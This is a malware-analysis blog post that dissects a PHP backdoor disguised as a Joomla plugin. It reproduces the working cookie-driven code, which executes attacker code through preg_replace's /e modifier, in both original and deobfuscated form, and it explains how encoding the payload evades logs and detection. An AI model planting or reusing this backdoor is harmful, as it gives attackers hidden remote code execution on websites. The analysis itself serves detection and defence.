Republished Malware Analysis Blog Posts From March 2018

Fake Joomla Plugin Backdoor

The following code was located within /plugins/.joomla.system.php on a compromised site:

<?php
/**
* @package Joomla.Plugin
* @since 1.5
*/
class PlgSystemJoomla {
public function __construct() {
$file=@$_COOKIE['Jlm3'];
if ($file){
$opt = $file(@$_COOKIE['Jlm2']);
$au = $file(@$_COOKIE['Jlm1']);
$opt("/585/e",$au,585);
die(); }}}
?>

The file was only noteworthy in that it was the only hidden file in the directory where it was located.

At first glance, this looks like the code for a small Joomla Plugin. Upon closer inspection, however, it’s revealed to be a backdoor that executes PHP code passed to it via COOKIE variables.

Deobfuscated:

The code is intentionally made more complex than necessary, wrapping the shell code in a misdirecting class and function to make the fake plugin appear more legitimate. The name of the file (.joomla.system.php) and the included comment block are also designed to misdirect.

With misdirection/obfuscation removed, and comments added for clarity, the code looks like this:

<?php

//get decode function, only execute if present
$decode=@$_COOKIE['decode_function'];
if ($decode){

//decode "preg_replace" and malicious PHP from COOKIE, and store to variables.
$preg_replace = $decode(@$_COOKIE['encoded_preg_replace']);
$code = $decode(@$_COOKIE['encoded_PHP_code']);


//execute malicious code using preg_replace's "/e" (eval) modifier. 
$preg_replace("/585/e",$code,585);


//exit
die(); }

?>

How it works:

There are three COOKIE variables passed to the shell.

  1. Jlm1: Encoded PHP for execution
  2. Jlm2: Encoded “preg_replace”
  3. Jlm3: Decode function to apply to encoded values from Jlm1 and Jlm2

The script first checks to see if a value was supplied for the COOKIE variable “Jlm3” (containing a decode function) and only executes the rest of its code if that condition is met:

$file=@$_COOKIE['Jlm3'];
if ($file){

If a value is supplied for Jlm3, the backdoor applies to supplied decode function to the encoded contents of Jlm1 (malicious PHP) and Jlm2 (the preg_replace function) and stores the decoded values to variables:

$opt = $file(@$_COOKIE['Jlm2']); 
$au = $file(@$_COOKIE['Jlm1']);

NOTE: This means that the PHP code, as well as the preg_replace function being passed to the shell, can be encoded in any format that can be undone with a single PHP function. So for example, if Jlm3 contained the decode function “base64_decode” then the values of Jlm1 and Jlm2 would be base64 encoded. Similarly, if Jlm3 contained “urldecode” then Jlm1 and Jlm2 would be urlencoded. Other functions such as strrev, rot13, etc. would also work just fine.

Once the decode function is applied, the decoded PHP is executed using preg_replace’“/e” modifier – effectively, the value “585” anywhere in the decoded PHP is replaced with “585” (doing nothing) and then the result is executed the same as if it were passed to eval(); (Link):

$opt("/585/e",$au,585);

Why it works this way:

Since the preg_replace function is passed to the code via an encoded COOKIE variable, it does not appear in the code directly – the only real indicator of what is actually happening here is the “/e” modifier present in the code. This serves to:

  1. Hide the function of the shell from basic automated and manual code analysis.
  2. Hide the preg_replace function, and malicious PHP code to be executed, from server logs more effectively than if passed to the shell via POST or especially GET parameters.

Because the decode function is also passed in to the code by the attacker, the attacker has the option to encode their payload using a number of different methods. This provides a variety of options when attempting to get the malicious PHP past WAFs and/or signature based IDS/IPS.

NOTE: This particular shell was able to evade both manual searches and signature based malware detection for a substantial period of time. It wasn’t until its contents were manually reviewed that the backdoor was detected.

Final Thoughts:

While none of the techniques utilized here are unique to this piece of malware, this is likely the most cleverly written sample I’ve seen to date. This example illustrates why code audits are important in cases of website compromise where known clean backups are not available.

Malware Research

Original Research and Blog Posts by Sky Larsen